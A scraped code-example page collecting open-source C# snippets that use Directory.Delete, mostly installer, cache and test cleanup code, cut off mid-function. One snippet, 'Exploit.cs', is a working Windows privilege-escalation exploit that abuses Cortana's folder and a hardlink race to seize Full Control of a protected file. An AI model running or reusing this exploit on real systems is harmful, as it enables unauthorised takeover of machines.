Here are the examples of the csharp api System.IO.Directory.Delete(string, bool) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
2485 Examples
19
View Source File : FileSystemUserData.cs
License : MIT License
Project Creator : 0x0ade
License : MIT License
Project Creator : 0x0ade
public void DeleteRawAll(string path) {
lock (GlobalLock) {
if (Directory.Exists(path))
Directory.Delete(path, true);
}
}
19
View Source File : Exploit.cs
License : GNU General Public License v3.0
Project Creator : 0x00-0x00
License : GNU General Public License v3.0
Project Creator : 0x00-0x00
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("[+] Specify a target filename");
return;
}
if (!File.Exists(args[0]))
{
Console.WriteLine($"[+] {args[0]} not found");
return;
}
if (!HasFullControl(args[0], @"NT AUTHORITY\SYSTEM"))
{
Console.WriteLine($@"[+] NT AUTHORITY\SYSTEM has no access to {args[0]}");
return;
}
if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
{
Console.WriteLine($@"[+] {WindowsIdenreplacedy.GetCurrent().Name} already has Full Control of {args[0]}");
return;
}
if (GetCortana() == 0)
{
Console.WriteLine("[+] Cortana disabled");
return;
}
string AppData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
string LocalState = AppData + $@"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState";
Console.WriteLine($"[+] Removing {LocalState}");
try
{
Directory.Delete($@"{LocalState}", true);
}
catch { }
IntPtr Thread = GetCurrentThread();
SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST);
NtFile ntFile;
ntFile = NtFile.Open($@"\??\{args[0]}", null, FileAccessRights.MaximumAllowed);
Console.WriteLine("[+] Waiting to Create Hardlink");
bool Failed = true;
while (Failed)
{
try
{
ntFile.CreateHardlink($@"\??\{LocalState}\rs.txt");
Failed = false;
}
catch { }
}
Console.WriteLine($"[+] Created Hardlink to {args[0]}");
// Give the service some time to rewrite DACLs
System.Threading.Thread.Sleep(2000);
if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
{
Console.WriteLine(@"[+] You have Full Control");
}
else
{
Console.WriteLine(@"[+] Unlucky - Try again");
}
}
19
View Source File : FauxDeployCMAgent.cs
License : GNU General Public License v3.0
Project Creator : 1RedOne
License : GNU General Public License v3.0
Project Creator : 1RedOne
public static void SendCustomDiscovery(string CMServerName, string ClientName, string SiteCode, string FilePath, ObservableCollection<CustomClientRecord> customClientRecords)
{
string ddmLocal = FilePath + "\\DDRS\\" + ClientName;
string CMddmInbox = "\\\\" + CMServerName + "\\SMS_" + SiteCode + "\\inboxes\\ddm.box\\" + ClientName + ".DDR";
DiscoveryDataRecordFile ddrF = new DiscoveryDataRecordFile("ClientFaux")
{
SiteCode = SiteCode,
Architecture = "System"
};
ddrF.AddStringProperty("Name", DdmDiscoveryFlags.Key, 32, ClientName);
ddrF.AddStringProperty("Netbios Name", DdmDiscoveryFlags.Name, 16, ClientName);
foreach (CustomClientRecord Record in customClientRecords)
{
ddrF.AddStringProperty(Record.RecordName, DdmDiscoveryFlags.None, 32, Record.RecordValue);
}
System.IO.Directory.CreateDirectory(ddmLocal);
DirectoryInfo di = new DirectoryInfo(ddmLocal);
ddrF.SerializeToFile(ddmLocal);
FileInfo file = di.GetFiles().FirstOrDefault();
File.Copy(file.FullName, CMddmInbox, true);
System.IO.Directory.Delete(ddmLocal, true);
}
19
View Source File : Form2.cs
License : MIT License
Project Creator : 200Tigersbloxed
License : MIT License
Project Creator : 200Tigersbloxed
void InstallMultiContinued()
{
statuslabel.Text = "Status: Extracting Files";
progressBar1.Value = 80;
DirectoryInfo di = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"\Files");
foreach (FileInfo file in di.GetFiles())
{
string[] splitdot = file.Name.Split('.');
if (splitdot[1] == "zip")
{
ZipFile.ExtractToDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\" + splitdot[0] + @".zip", @"Files\" + splitdot[0]);
}
}
statuslabel.Text = "Status: Moving Files";
progressBar1.Value = 90;
foreach (DirectoryInfo dir in di.GetDirectories())
{
if (multiselected == "a")
{
if (dir.Name == "ca")
{
DirectoryInfo cadi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca");
if (Directory.Exists(bsl + @"\CustomAvatars"))
{
// dont u dare delete someone's custom avatars folder
}
else
{
Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca\CustomAvatars", bsl + @"\CustomAvatars");
}
if (Directory.Exists(bsl + @"\DynamicOpenVR"))
{
Directory.Delete(bsl + @"\DynamicOpenVR", true);
Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca\DynamicOpenVR", bsl + @"\DynamicOpenVR");
}
else
{
Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca\DynamicOpenVR", bsl + @"\DynamicOpenVR");
}
foreach (DirectoryInfo cadir in cadi.GetDirectories())
{
if (cadir.Name == "Plugins")
{
// Don't move CustomAvatar's DLL
}
}
}
}
if(dir.Name == "dc")
{
DirectoryInfo dcdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\dc");
foreach (DirectoryInfo dcdir in dcdi.GetDirectories())
{
if (dcdir.Name == "Plugins")
{
foreach (FileInfo file in dcdir.GetFiles())
{
if (File.Exists(bsl + @"\Plugins\" + file.Name)) {
File.Delete(bsl + @"\Plugins\" + file.Name);
File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
}
else
{
File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
}
}
}
if (dcdir.Name == "Libs")
{
foreach (DirectoryInfo dcnativedir in dcdir.GetDirectories())
{
if (Directory.Exists(bsl + @"\Libs\Native")) {
Directory.Delete(bsl + @"\Libs\Native", true);
Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\dc\Libs\Native", bsl + @"\Libs\Native");
}
else
{
Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\dc\Libs\Native", bsl + @"\Libs\Native");
}
}
}
}
}
if(dir.Name == "dep")
{
DirectoryInfo depdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\dep\dep");
foreach (DirectoryInfo depdir in depdi.GetDirectories())
{
if (depdir.Name == "Plugins")
{
foreach (FileInfo file in depdir.GetFiles())
{
if (File.Exists(bsl + @"\Plugins\" + file.Name)) {
File.Delete(bsl + @"\Plugins\" + file.Name);
File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
}
else
{
File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
}
}
}
}
}
if (multiselected == "a")
{
if (dir.Name == "dovr")
{
DirectoryInfo dovrdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\dovr");
foreach (DirectoryInfo dovrdir in dovrdi.GetDirectories())
{
if (dovrdir.Name == "Plugins")
{
foreach (FileInfo file in dovrdir.GetFiles())
{
if (File.Exists(bsl + @"\Plugins\" + file.Name))
{
File.Delete(bsl + @"\Plugins\" + file.Name);
File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
}
else
{
File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
}
}
}
if (dovrdir.Name == "Libs")
{
foreach (FileInfo file in dovrdir.GetFiles())
{
if (File.Exists(bsl + @"\Libs\" + file.Name))
{
File.Delete(bsl + @"\Libs\" + file.Name);
File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
}
else
{
File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
}
}
}
}
}
}
if (dir.Name == "multiplayer")
{
DirectoryInfo multiplayerdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\multiplayer");
foreach (DirectoryInfo multiplayerdir in multiplayerdi.GetDirectories())
{
if (multiplayerdir.Name == "Plugins")
{
foreach (FileInfo file in multiplayerdir.GetFiles())
{
if (File.Exists(bsl + @"\Plugins\" + file.Name)) {
File.Delete(bsl + @"\Plugins\" + file.Name);
File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
}
else
{
File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
}
}
}
if (multiplayerdir.Name == "Libs")
{
foreach (FileInfo file in multiplayerdir.GetFiles())
{
if (File.Exists(bsl + @"\Libs\" + file.Name)) {
File.Delete(bsl + @"\Libs\" + file.Name);
File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
}
else
{
File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
}
}
}
}
}
}
if(multiselected == "a")
{
if (File.Exists(@"Files\CustomAvatar.dll"))
{
if (File.Exists(bsl + @"\Plugins\CustomAvatar.dll"))
{
File.Delete(bsl + @"\Plugins\CustomAvatar.dll");
File.Move(@"Files\CustomAvatar.dll", bsl + @"\Plugins\CustomAvatar.dll");
}
else
{
File.Move(@"Files\CustomAvatar.dll", bsl + @"\Plugins\CustomAvatar.dll");
}
}
}
statuslabel.Text = "Status: Complete!";
progressBar1.Value = 100;
allowinstalluninstall = true;
currentlyinstallinguninstalling = false;
button3.BackColor = SystemColors.MenuHighlight;
button4.BackColor = SystemColors.MenuHighlight;
DialogResult dialogResult = MessageBox.Show("Multiplayer is installed! Would you like to exit?", "Complete!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
if (dialogResult == DialogResult.Yes)
{
Application.Exit();
}
}
19
View Source File : Form2.cs
License : MIT License
Project Creator : 200Tigersbloxed
License : MIT License
Project Creator : 200Tigersbloxed
void UninstallMulti()
{
bool continuewithuninstall = false;
statuslabel.Text = "Status: Preparing";
progressBar1.Value = 25;
allowinstalluninstall = false;
currentlyinstallinguninstalling = true;
button3.BackColor = SystemColors.GrayText;
button4.BackColor = SystemColors.GrayText;
statuslabel.Text = "Status: Uninstalling Multiplayer";
progressBar1.Value = 50;
if (multiselected == "a")
{
if(File.Exists(bsl + @"\Plugins\BeatSaberMultiplayer.dll"))
{
File.Delete(bsl + @"\Plugins\BeatSaberMultiplayer.dll");
continuewithuninstall = true;
}
else
{
DialogResult dialogResult2 = MessageBox.Show("Multiplayer was not found! Would you like to continue?", "Uh Oh!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
if(dialogResult2 == DialogResult.Yes)
{
continuewithuninstall = true;
}
else
{
continuewithuninstall = false;
}
}
}
if (multiselected == "z")
{
if (File.Exists(bsl + @"\Plugins\BeatSaberMultiplayerLite.dll"))
{
File.Delete(bsl + @"\Plugins\BeatSaberMultiplayerLite.dll");
continuewithuninstall = true;
}
else
{
DialogResult dialogResult2 = MessageBox.Show("Multiplayer Lite was not found! Would you like to continue?", "Uh Oh!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
if (dialogResult2 == DialogResult.Yes)
{
continuewithuninstall = true;
}
else
{
continuewithuninstall = false;
}
}
}
statuslabel.Text = "Status: Uninstalling Dependencies";
progressBar1.Value = 75;
if (continuewithuninstall == true)
{
if(checkBox1.Checked == true)
{
if(File.Exists(bsl + @"\Plugins\SongCore.dll"))
{
File.Delete(bsl + @"\Plugins\SongCore.dll");
}
}
if(checkBox2.Checked == true)
{
if (File.Exists(bsl + @"\Plugins\BSML.dll"))
{
File.Delete(bsl + @"\Plugins\BSML.dll");
}
}
if(checkBox3.Checked == true)
{
if (File.Exists(bsl + @"\Plugins\BS_Utils.dll"))
{
File.Delete(bsl + @"\Plugins\BS_Utils.dll");
}
}
if(checkBox4.Checked == true)
{
if (File.Exists(bsl + @"\Plugins\CustomAvatar.dll"))
{
File.Delete(bsl + @"\Plugins\CustomAvatar.dll");
}
Directory.Delete(bsl + @"\DynamicOpenVR", true);
}
if(checkBox5.Checked == true)
{
if (File.Exists(bsl + @"\Plugins\DiscordCore.dll"))
{
File.Delete(bsl + @"\Plugins\DiscordCore.dll");
}
Directory.Delete(bsl + @"\Libs\Native", true);
}
if(checkBox6.Checked == true)
{
if (File.Exists(bsl + @"\Plugins\DynamicOpenVR.manifest"))
{
File.Delete(bsl + @"\Plugins\DynamicOpenVR.manifest");
}
if (File.Exists(bsl + @"\Libs\DynamicOpenVR.dll"))
{
File.Delete(bsl + @"\Libs\DynamicOpenVR.dll");
}
}
if(checkBox7.Checked == true)
{
if(File.Exists(bsl + @"\Plugins\ScoreSaber.dll"))
{
File.Delete(bsl + @"\Plugins\ScoreSaber.dll");
}
}
}
statuslabel.Text = "Status: Complete!";
progressBar1.Value = 100;
allowinstalluninstall = true;
currentlyinstallinguninstalling = false;
button3.BackColor = SystemColors.MenuHighlight;
button4.BackColor = SystemColors.MenuHighlight;
DialogResult dialogResult = MessageBox.Show("Multiplayer is uninstalled :( Would you like to exit?", "Complete!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
if (dialogResult == DialogResult.Yes)
{
Application.Exit();
}
}
19
View Source File : StaticFiles.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
public static IApplicationBuilder UseFreeAdminLteStaticFiles(this IApplicationBuilder app, string requestPathBase) {
if (_isStaticFiles == false) {
lock (_isStaticFilesLock) {
if (_isStaticFiles == false) {
var curPath = AppDomain.CurrentDomain.BaseDirectory;
var zipPath = $"{curPath}/{Guid.NewGuid()}.zip";
using (var zip = WwwrootStream()) {
using (var fs = File.Open(zipPath, FileMode.OpenOrCreate)) {
zip.CopyTo(fs);
fs.Close();
}
zip.Close();
}
var wwwrootPath = Path.Combine(curPath, "FreeSql.AdminLTE.wwwroot");
if (Directory.Exists(wwwrootPath)) Directory.Delete(wwwrootPath, true);
try {
System.IO.Compression.ZipFile.ExtractToDirectory(zipPath, wwwrootPath, Encoding.UTF8);
} catch (Exception ex) {
throw new Exception($"UseFreeAdminLtePreview 错误,资源文件解压失败:{ex.Message}", ex);
} finally {
File.Delete(zipPath);
}
app.UseStaticFiles(new StaticFileOptions {
RequestPath = requestPathBase.TrimEnd('/'),
FileProvider = new PhysicalFileProvider(wwwrootPath)
});
_isStaticFiles = true;
}
}
}
return app;
}
19
View Source File : ExportingDiagramFixture.cs
License : MIT License
Project Creator : 8T4
License : MIT License
Project Creator : 8T4
protected static void CleanUp(string path = "c4")
{
if (Directory.Exists(path))
Directory.Delete(path, true);
}
19
View Source File : FrmBrowser.cs
License : GNU General Public License v3.0
Project Creator : 9vult
License : GNU General Public License v3.0
Project Creator : 9vult
private void BtnAdd_Click(object sender, EventArgs e)
{
string url = gfxBrowser.Url.ToString();
string name = string.Empty;
string num = string.Empty;
switch (cmboSource.SelectedItem.ToString().ToLower())
{
case "mangadex":
name = url.Split('/')[5];
num = url.Split('/')[4];
url = MangaDexHelper.MANGADEX_URL + "/api/manga/" + num;
Manga m = new MangaDex(FileHelper.CreateDI(Path.Combine(FileHelper.APP_ROOT.FullName, num)), url);
FrmEdit editor = new FrmEdit(m, false);
DialogResult result = editor.ShowDialog();
if (result == DialogResult.OK)
{
// cleanup
foreach (Chapter ch in m.GetChapters())
{
try
{
string s = ch.GetChapterRoot().ToString();
Directory.Delete(ch.GetChapterRoot().ToString());
} catch (Exception) { }
}
WFClient.dbm.GetMangaDB().Add(m);
String[] dls = m.GetDLChapters();
if (dls == null || dls[0].Equals("-1"))
{
foreach (Chapter c in m.GetSetPrunedChapters(false))
{
WFClient.dlm.AddToQueue(new MangaDexDownload(c));
}
} else
{ // Only download selected chapters
foreach (Chapter c in m.GetSetPrunedChapters(false))
{
if (dls.Contains(c.GetNum()))
{
WFClient.dlm.AddToQueue(new MangaDexDownload(c));
}
}
}
// Start downloading the first one
WFClient.dlm.DownloadNext();
} else
{
}
break;
case "kissmanga":
// MessageBox.Show("Sorry, can't do this yet! ;(\n\n(ignore the download started box)");
// break;
// TODO
string kName = KissMangaHelper.GetName(url);
string kHash = KissMangaHelper.GetHash(url);
// Manga km = new Manga(FileHelper.CreateDI(Path.Combine(FileHelper.APP_ROOT.FullName, num)), url);
Manga km = new KissManga(FileHelper.CreateDI(Path.Combine(FileHelper.APP_ROOT.FullName, kHash)), url);
FrmEdit editor1 = new FrmEdit(km, false);
DialogResult result1 = editor1.ShowDialog();
if (result1 == DialogResult.OK)
{
// cleanup
foreach (Chapter ch in km.GetChapters())
{
try
{
string s = ch.GetChapterRoot().ToString();
Directory.Delete(ch.GetChapterRoot().ToString());
}
catch (Exception) { }
}
WFClient.dbm.GetMangaDB().Add(km);
String[] dls = km.GetDLChapters();
if (dls == null || dls[0].Equals("-1"))
{
foreach (Chapter c in km.GetSetPrunedChapters(false))
{
WFClient.dlm.AddToQueue(new KissMangaDownload(c));
}
}
else
{ // Only download selected chapters
foreach (Chapter c in km.GetSetPrunedChapters(false))
{
if (dls.Contains(c.GetNum()))
{
WFClient.dlm.AddToQueue(new KissMangaDownload(c));
}
}
}
// Start downloading the first one
WFClient.dlm.DownloadNext();
}
else
{
}
break;
case "nhentai":
num = url.Split('/')[4];
name = gfxBrowser.Doreplacedentreplacedle.Substring(0, gfxBrowser.Doreplacedentreplacedle.IndexOf("nhentai:") - 3);
JObject hJson = new JObject(
new JProperty("hentai",
new JObject(
new JProperty("replacedle", name),
new JProperty("num", num),
new JProperty("url", url))));
DirectoryInfo hDir = FileHelper.CreateDI(Path.Combine(FileHelper.APP_ROOT.FullName, "h" + num));
Hentai h = new Nhentai(hDir, hJson.ToString());
FrmEdit edit = new FrmEdit(h, false);
DialogResult rezult = edit.ShowDialog();
if (rezult == DialogResult.OK)
{
WFClient.dbm.GetMangaDB().Add(h);
Chapter ch = h.GetChapters()[0];
WFClient.dlm.AddToQueue(new NhentaiDownload(ch));
// Start downloading the first one
WFClient.dlm.DownloadNext();
}
break;
}
MessageBox.Show("Download started! You may close the browser at any time, but please keep MikuReader open until the download has completed.");
}
19
View Source File : CamerasManager.cs
License : Apache License 2.0
Project Creator : A7ocin
License : Apache License 2.0
Project Creator : A7ocin
void Start() {
if(enableVideoSave) {
Time.captureFramerate = frameRate;
if(cameras.Count > 0) {
// crea la cartella principale nella quale verranno create una sottocartella per ogni telecamera
folder = folder + System.DateTime.Now.ToString("_yyyy-MM-dd_HH-mm-ss");
if(System.IO.Directory.Exists(folder)) {
System.IO.Directory.Delete(folder, true);
}
System.IO.Directory.CreateDirectory(folder);
// crea una sottocartella per ogni telecamera
for(int i = 0; i < cameras.Count; ++i) {
if(cameras[i].Camera) {
cameras[i].Folder = string.Format("{0}/{1}_{2}x{3}_{4}fps",
folder,
cameras[i].Name,
cameras[i].Camera.rect.width,
cameras[i].Camera.rect.height,
frameRate);
System.IO.Directory.CreateDirectory(cameras[i].Folder);
}
}
}
}
}
19
View Source File : Tracking.cs
License : Apache License 2.0
Project Creator : A7ocin
License : Apache License 2.0
Project Creator : A7ocin
void Start()
{
ss = 0;
if (SaveVideoElaborated)
{
folder = folder + System.DateTime.Now.ToString("_yyyy-MM-dd_HH-mm-ss");
if (System.IO.Directory.Exists(folder))
{
System.IO.Directory.Delete(folder, true);
}
System.IO.Directory.CreateDirectory(folder);
}
x_coordinate = 0;
y_coordinate = 0;
skipFrame = 0;
roiRect = null;
termination = new TermCriteria(TermCriteria.EPS | TermCriteria.COUNT, 10, 1);
#if UNITY_WEBGL && !UNITY_EDITOR
StartCoroutine(Utils.getFilePathAsync("blobparams.yml", (result) => {
blobparams_yml_filepath = result;
}));
#else
blobparams_yml_filepath = Utils.getFilePath("blobparams.yml");
//Debug.Log(blobparams_yml_filepath);
#endif
}
19
View Source File : ThroughputToFileBench.cs
License : MIT License
Project Creator : Abc-Arbitrage
License : MIT License
Project Creator : Abc-Arbitrage
public static void Run()
{
var dir = Path.GetFullPath(Guid.NewGuid().ToString());
Directory.CreateDirectory(dir);
try
{
Console.WriteLine("Initializing...");
BasicConfigurator.Configure(
new ZeroLogBasicConfiguration
{
Appenders = { new DateAndSizeRollingFileAppender(Path.Combine(dir, "Output")), },
LogEventQueueSize = 1000 * 4096 * 4,
LogEventPoolExhaustionStrategy = LogEventPoolExhaustionStrategy.WaitForLogEvent
}
);
var log = LogManager.GetLogger(typeof(ThroughputToFileBench));
var duration = TimeSpan.FromSeconds(10);
Console.WriteLine("Starting...");
GC.Collect();
GC.WaitForPendingFinalizers();
GC.Collect();
var sw = Stopwatch.StartNew();
long counter = 0;
while (sw.Elapsed < duration)
{
counter++;
log.Debug().Append("Counter is: ").Append(counter).Log();
}
Console.WriteLine($"Log events: {counter:N0}, Time to append: {sw.Elapsed}");
Console.WriteLine("Flushing...");
LogManager.Shutdown();
Console.WriteLine($"Time to flush: {sw.Elapsed}");
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
finally
{
Directory.Delete(dir, true);
}
Console.WriteLine("Done");
}
19
View Source File : AllocationTests.cs
License : MIT License
Project Creator : Abc-Arbitrage
License : MIT License
Project Creator : Abc-Arbitrage
[TearDown]
public void Teardown()
{
LogManager.Shutdown();
Directory.Delete(_tempDirectory, true);
}
19
View Source File : SimRuntime.cs
License : MIT License
Project Creator : abdullin
License : MIT License
Project Creator : abdullin
public void Run(Func<SimControl, Task> plan) {
_haltError = null;
var watch = Stopwatch.StartNew();
var reason = "none";
Debug(LogType.RuntimeInfo, $"{"start".ToUpper()}");
Rand.Reinitialize(0);
using (var cluster = new SimCluster(Def, this)) {
Schedule(_scheduler,TimeSpan.Zero, _factory.StartNew(async () => {
var control = new SimControl(cluster, this);
try {
await plan(control);
} catch (Exception ex) {
Halt("Plan failed", ex);
}
}));
try {
var step = 0;
while (true) {
step++;
var hasFuture = FutureQueue.TryGetFuture(out var o);
if (!hasFuture) {
reason = "died";
break;
}
if (o.Time > _time) {
_time = o.Time;
}
switch (o.Item) {
case Task t:
o.Scheduler.Execute(t);
break;
default:
throw new InvalidOperationException();
}
if (_haltError != null || _haltMessage != null) {
reason = "halt";
break;
}
if ((_time - _lastActivity) >= _maxInactiveTicks) {
reason = "no activity " + Moment.Print(TimeSpan.FromTicks(_maxInactiveTicks));
break;
}
if (_steps >= MaxSteps) {
reason = MaxSteps + " steps reached";
break;
}
if (_time >= MaxTicks) {
reason = "max time";
break;
}
}
} catch (Exception ex) {
reason = "fatal";
_haltError = ex;
Console.WriteLine("Fatal: " + ex);
} finally {
if (_folder != null) {
Directory.Delete(_folder, true);
}
}
watch.Stop();
var softTime = TimeSpan.FromTicks(_time);
var factor = softTime.TotalHours / watch.Elapsed.TotalHours;
if (_haltMessage != null) {
reason = _haltMessage.ToUpper();
}
Debug(LogType.RuntimeInfo, $"{reason.ToUpper()} at {softTime}");
if (_haltError != null) {
var demystify = _haltError.Demystify();
Console.WriteLine(demystify.GetType().Name + ": " + demystify.Message);
Console.WriteLine(demystify.StackTrace);
}
Console.WriteLine($"Simulated {Moment.Print(softTime)} in {_steps} steps.");
Console.WriteLine($"Took {Moment.Print(watch.Elapsed)} of real time (x{factor:F0} speed-up)");
// statistics
Console.WriteLine($"Stats: {FutureQueue.JumpCount} jumps, {cluster.Machines.Sum(m => m.Value.SocketCount)} sockets");
}
}
19
View Source File : SimMachine.cs
License : MIT License
Project Creator : abdullin
License : MIT License
Project Creator : abdullin
public void WipeStorage() {
var sim = Runtime.GetSimulationFolder();
var machinePath = Path.Combine(sim, Name);
if (Directory.Exists(machinePath)) {
Debug(LogType.Fault, $"ERASE STORAGE for machine {Name}");
Directory.Delete(machinePath, true);
}
}
19
View Source File : ONSPPropagationSerializationManager.cs
License : MIT License
Project Creator : absurd-joy
License : MIT License
Project Creator : absurd-joy
[MenuItem("Oculus/Spatializer/Rebuild audio geometry all scenes")]
public static void RebuildAudioGeometryForAllScenes()
{
Debug.Log("Rebuilding geometry for all scenes");
System.IO.Directory.Delete(ONSPPropagationGeometry.GeometryreplacedetPath, true);
for (int i = 0; i < EditorSceneManager.sceneCount; ++i)
{
BuildAudioGeometryForScene(EditorSceneManager.GetSceneAt(i));
}
}
19
View Source File : ExportExampleHelper.cs
License : MIT License
Project Creator : ABTSoftware
License : MIT License
Project Creator : ABTSoftware
public static void ExportExamplesToSolutions(IModule module)
{
var enumerator = module.Examples.Select(x => x.Value).GetEnumerator();
var basePath = DirectoryHelper.GetPathForExport(DefaultExportPath);
if (string.IsNullOrEmpty(basePath)) return;
ExportPath = basePath + "\\" + FolderName + "\\";
try
{
if (File.Exists(ScriptPath))
File.Delete(ScriptPath);
if (Directory.Exists(ExportPath))
Directory.Delete(ExportPath, true);
if (!Directory.Exists(ExportPath))
Directory.CreateDirectory(ExportPath);
}
catch (Exception ex)
{
throw new InvalidOperationException("A permissions error occurred when deleting or creating example export paths. Please check you are not trying to export in a restricted directory such as C: or Program Files", ex);
}
string lastGroup = null;
Action<UserControl, AppPage> action = null;
action = (control, page) =>
{
RoutedEventHandler controlOnLoaded = null;
controlOnLoaded = (sender, args) =>
{
TimedMethod.Invoke(() =>
{
ExportExampleToSolution(ref lastGroup, enumerator.Current);
if (enumerator.MoveNext())
{
Navigator.Instance.Navigate(enumerator.Current);
}
else
{
Navigator.Instance.AfterNavigation -= action;
}
control.Loaded -= controlOnLoaded;
}).After(1000).Go();
};
control.Loaded += controlOnLoaded;
};
Navigator.Instance.AfterNavigation += action;
if (enumerator.MoveNext())
{
Navigator.Instance.Navigate(enumerator.Current);
}
}
19
View Source File : SmokeTests_ExampleWalkUsingBreadcrumbView.cs
License : MIT License
Project Creator : ABTSoftware
License : MIT License
Project Creator : ABTSoftware
private void RunExportExampleTest(ExampleStartTestCase testCase)
{
return;
// Useful UIAutomation Ids
// ExportExampleView
// ExportExampleView.ExportPathTextBox
// ExportExampleView.ExportButton
// ExportExampleView.CloseButton
// ExampleView.Export
// Toggle the export button, this shows ExportExampleView
var exportButton = _mainWindow.FindFirstDescendant("ExampleView.Export").AsToggleButton();
exportButton?.Toggle();
string exportPath = base.GetTemporaryDirectory();
try
{
var exampleExportView = WaitForElement(() => _mainWindow.FindFirstDescendant("ExportExampleView"));
var exampleExportTextBox = exampleExportView.FindFirstDescendant("ExportExampleView.ExportPathTextBox")
.AsTextBox();
var exampleExportButton =
exampleExportView.FindFirstDescendant("ExportExampleView.ExportButton").AsButton();
var exampleExportCloseButton =
exampleExportView.FindFirstDescendant("ExportExampleView.CloseButton").AsButton();
// Set output path and export
exampleExportTextBox.Text = exportPath;
exampleExportButton.Invoke();
// Get the messagebox, close it
var msg = WaitForElement(() => _mainWindow.ModalWindows.FirstOrDefault().AsWindow());
var yesButton = msg.FindFirstChild(cf => cf.ByName("OK")).AsButton();
yesButton.Invoke();
// Close example export view
exampleExportCloseButton?.Invoke();
// Now check the example
var subDir = Directory.GetDirectories(exportPath).First();
var projectFile = Directory.GetFiles(subDir, "*.sln").FirstOrDefault();
// MSBuild
//fs.WriteLine("@echo Building " + projectName);
//fs.WriteLine(@"call ""C:\Program Files (x86)\MSBuild\12.0\Bin\msbuild.exe"" /ToolsVersion:12.0 /p:Configuration=""Debug"" ""{0}/{0}.csproj"" /p:WarningLevel=0", projectName);
string msBuildPath = "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Enterprise\\MSBuild\\Current\\Bin\\MSBuild.exe";
var msBuildProcess = Process.Start(new ProcessStartInfo(msBuildPath,
$"/ToolsVersion:Current /p:Configuration=\"Debug\" \"{projectFile}\" /t:Restore;Build /p:WarningLevel=0"));
msBuildProcess.WaitForExit(10000);
replacedert.That(msBuildProcess.ExitCode, Is.EqualTo(0), $"Failed to build example {testCase.Category}/{testCase.Group}/{testCase.Example}");
}
finally
{
Directory.Delete(exportPath, true);
}
}
19
View Source File : FileCache.cs
License : Apache License 2.0
Project Creator : acarteas
License : Apache License 2.0
Project Creator : acarteas
public void Clear()
{
//Before we can delete the entire file tree, we have to wait for any latent writes / reads to finish
//To do this, we wait for access to our cacheLock file. When we get access, we have to immediately
//release it (can't delete a file that is open!), which somewhat muddies our condition of needing
//exclusive access to the FileCache. However, the time between closing and making the call to
//delete is so small that we probably won't run into an exception most of the time.
FileStream cacheLock = null;
TimeSpan totalTime = new TimeSpan(0);
TimeSpan interval = new TimeSpan(0, 0, 0, 0, 50);
TimeSpan timeToWait = AccessTimeout;
if (AccessTimeout == new TimeSpan())
{
//if access timeout is not set, make really large wait time
timeToWait = new TimeSpan(5, 0, 0);
}
while (cacheLock == null && timeToWait > totalTime)
{
cacheLock = GetCleaningLock();
Thread.Sleep(interval);
totalTime += interval;
}
if (cacheLock == null)
{
throw new TimeoutException("FileCache AccessTimeout reached when attempting to clear cache.");
}
cacheLock.Close();
//now that we've waited for everything to stop, we can delete the cache directory.
Directory.Delete(CacheDir, true);
}
19
View Source File : FSBuilder.cs
License : Apache License 2.0
Project Creator : acblog
License : Apache License 2.0
Project Creator : acblog
public static void EnsureDirectoryExists(string path, bool isExists = true)
{
if (isExists)
{
if (!Directory.Exists(path))
{
Directory.CreateDirectory(path);
}
}
else
{
if (Directory.Exists(path))
{
Directory.Delete(path, true);
}
}
}
19
View Source File : FSBuilder.cs
License : Apache License 2.0
Project Creator : acblog
License : Apache License 2.0
Project Creator : acblog
public static void EnsureDirectoryEmpty(string path)
{
EnsureDirectoryExists(path);
foreach (var v in Directory.GetFiles(path))
{
File.Delete(v);
}
foreach (var v in Directory.GetDirectories(path))
{
Directory.Delete(v, true);
}
}
19
View Source File : TempDirectory.cs
License : MIT License
Project Creator : Accelerider
License : MIT License
Project Creator : Accelerider
public static void DeleteFileSystemEntry(string path)
{
if (Directory.Exists(path)) Directory.Delete(path, true);
if (File.Exists(path)) File.Delete(path);
}
19
View Source File : IOExtensions.cs
License : MIT License
Project Creator : Accelerider
License : MIT License
Project Creator : Accelerider
private static async Task<bool> TryDeleteAsync(string path, int retryCount)
{
try
{
if (File.Exists(path))
{
File.Delete(path);
}
